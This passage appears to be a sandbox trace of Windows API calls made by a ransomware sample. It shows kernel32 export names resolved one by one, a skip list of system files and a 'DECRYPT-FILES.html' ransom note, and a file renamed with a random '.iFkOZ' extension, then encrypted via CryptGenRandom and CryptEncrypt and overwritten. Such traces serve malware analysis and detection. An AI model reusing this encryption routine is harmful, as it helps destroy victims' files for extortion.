lpString1="CreateActCtxW") returned="CreateActCtxW" [0148.788] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0148.788] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0148.788] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0148.788] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0148.788] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0148.788] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0148.788] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0148.788] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0148.788] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0148.788] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0148.788] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0148.788] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0148.788] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0148.788] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0148.788] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0148.788] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0148.788] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0148.788] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0148.788] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0148.788] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0148.788] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0148.788] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0148.789] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0148.789] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0148.789] lstrlenA (lpString="CREATEEVENTA") returned 12 [0148.789] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0148.789] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0148.789] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0148.789] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0148.789] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0148.789] lstrlenA (lpString="CREATEEVENTW") returned 12 [0148.789] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0148.789] lstrlenA (lpString="CREATEFIBER") returned 11 [0148.789] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0148.789] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0148.789] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0148.789] lstrlenA (lpString="CREATEFILE2") returned 11 [0148.789] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0148.789] lstrlenA (lpString="CREATEFILEA") returned 11 [0148.789] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0148.789] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0148.789] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0148.789] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0148.789] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0148.789] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0148.789] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0148.789] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0148.789] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0148.789] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0148.789] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0148.789] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0148.789] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0148.789] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0148.789] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0148.789] lstrlenA (lpString="CREATEFILEW") returned 11 [0148.789] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0148.789] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0148.789] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0148.789] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0148.790] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0148.790] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0148.790] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0148.790] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0148.790] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0148.790] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0148.790] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0148.790] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0148.790] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0148.790] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0148.790] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0148.790] lstrlenA (lpString="CREATEJOBSET") returned 12 [0148.790] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0148.790] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0148.790] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0148.790] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0148.790] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0148.790] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0148.790] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0148.790] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0148.790] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0148.790] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0148.790] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0148.790] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0148.790] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0148.790] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0148.790] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0148.790] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0148.790] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0148.790] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0148.790] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0148.790] lstrlenA (lpString="CREATEPIPE") returned 10 [0148.790] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0148.790] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0148.790] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0148.790] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0148.790] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0148.790] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0148.790] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0148.790] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0148.790] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0148.790] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0148.790] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0148.791] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0148.791] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0148.791] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0148.791] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0148.791] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0148.791] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0148.791] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0148.791] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0148.791] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0148.791] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0148.791] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0148.791] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0148.791] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0148.791] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0148.791] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0148.791] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0148.791] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0148.791] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0148.791] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0148.791] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0148.791] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0148.791] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0148.791] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0148.791] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0148.791] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0148.791] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0148.791] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0148.791] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0148.791] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0148.791] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0148.791] lstrlenA (lpString="CREATETHREAD") returned 12 [0148.791] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0148.791] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0148.791] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0148.791] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0148.791] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0148.791] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0148.791] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0148.791] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0148.791] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0148.791] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0148.791] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0148.791] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0148.792] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0148.792] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0148.792] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0148.792] wsprintfW (in: param_1=0x38be7e4, param_2="%s.%s" | out: param_1="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico.iFkOZ") returned 48 [0148.792] MoveFileExW (lpExistingFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico"), lpNewFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico.iFkOZ" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico.ifkoz"), dwFlags=0x0) returned 1 [0148.793] VirtualFree (lpAddress=0x2d20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0148.793] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0148.793] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0148.793] FindNextFileW (in: hFindFile=0x3b81200, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Save.ico", cAlternateFileName="")) returned 1 [0148.793] lstrcmpiW (lpString1="Save.ico", lpString2="DECRYPT-FILES.html") returned 1 [0148.793] lstrcmpiW (lpString1="Save.ico", lpString2="autorun.inf") returned 1 [0148.793] lstrcmpiW (lpString1="Save.ico", lpString2="boot.ini") returned 1 [0148.793] lstrcmpiW (lpString1="Save.ico", lpString2="desktop.ini") returned 1 [0148.793] lstrcmpiW (lpString1="Save.ico", lpString2="ntuser.dat") returned 1 [0148.793] lstrcmpiW (lpString1="Save.ico", lpString2="iconcache.db") returned 1 [0148.794] lstrcmpiW (lpString1="Save.ico", lpString2="bootsect.bak") returned 1 [0148.794] lstrcmpiW (lpString1="Save.ico", lpString2="ntuser.dat.log") returned 1 [0148.794] lstrcmpiW (lpString1="Save.ico", lpString2="thumbs.db") returned -1 [0148.794] lstrcmpiW (lpString1="Save.ico", lpString2="Bootfont.bin") returned 1 [0148.794] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\") returned 31 [0148.794] lstrlenW (lpString="Save.ico") returned 8 [0148.794] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\588bce7c90097ed212\\Graphics\\" | out: lpString1="C:\\588bce7c90097ed212\\Graphics\\") returned="C:\\588bce7c90097ed212\\Graphics\\" [0148.794] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\Graphics\\", lpString2="Save.ico" | out: lpString1="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned="C:\\588bce7c90097ed212\\Graphics\\Save.ico" [0148.794] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0148.794] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f4 [0148.794] GetFileSizeEx (in: hFile=0x5f4, lpFileSize=0x38be7b0 | out: lpFileSize=0x38be7b0*=1150) returned 1 [0148.794] CreateFileMappingW (hFile=0x5f4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x5f8 [0148.794] MapViewOfFile (hFileMappingObject=0x5f8, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2d20000 [0148.955] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x20, pbBuffer=0x2d10000 | out: pbBuffer=0x2d10000) returned 1 [0148.955] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x8, pbBuffer=0x2d10020 | out: pbBuffer=0x2d10020) returned 1 [0148.955] VirtualAlloc (lpAddress=0x0, dwSize=0x108, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0148.955] CryptEncrypt (in: hKey=0x68c9e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d30000*, pdwDataLen=0x38be718*=0x28, dwBufLen=0x100 | out: pbData=0x2d30000*, pdwDataLen=0x38be718*=0x100) returned 1 [0148.956] VirtualAlloc (lpAddress=0x0, dwSize=0x1001, flAllocationType=0x3000, flProtect=0x4) returned 0x2d40000 [0148.956] VirtualFree (lpAddress=0x2d40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0148.956] UnmapViewOfFile (lpBaseAddress=0x2d20000) returned 1 [0148.957] CloseHandle (hObject=0x5f8) returned 1 [0148.957] SetFilePointerEx (in: hFile=0x5f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.957] WriteFile (in: hFile=0x5f4, lpBuffer=0x2d30000*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x38be738, lpOverlapped=0x0 | out: lpBuffer=0x2d30000*, lpNumberOfBytesWritten=0x38be738*=0x108, lpOverlapped=0x0) returned 1 [0148.958] CloseHandle (hObject=0x0) returned 0 [0148.958] CloseHandle (hObject=0x5f4) returned 1 [0148.958] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0148.959] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0148.959] GetTickCount () returned 0x3a809 [0148.959] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0148.959] lstrlenW (lpString="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890") returned 62 [0148.959] VirtualAlloc (lpAddress=0x0, dwSize=0x10, flAllocationType=0x3000, flProtect=0x4) returned 0x2d20000 [0148.960] VirtualAlloc (lpAddress=0x0, dwSize=0x7e, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0148.960] lstrlenA (lpString="kernel32.dll") returned 12 [0148.960] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0148.960] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0148.960] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0148.960] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0148.960] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0148.960] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0148.960] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0148.960] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0148.960] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0148.961] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0148.961] lstrlenA (lpString="ADDATOMA") returned 8 [0148.961] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0148.961] lstrlenA (lpString="ADDATOMW") returned 8 [0148.961] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0148.961] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0148.961] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0148.961] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0148.961] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0148.961] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0148.961] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0148.961] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0148.961] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0148.961] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0148.961] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0148.961] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0148.961] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0148.961] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0148.961] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0148.961] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0148.961] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0148.961] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0148.961] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0148.961] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0148.961] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0148.961] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0148.961] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0148.961] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0148.961] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0148.961] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0148.961] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0148.961] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0148.961] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0148.962] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0148.962] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0148.962] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0148.962] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0148.962] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0148.962] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0148.962] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0148.962] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0148.962] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0148.962] lstrcpyA (in: 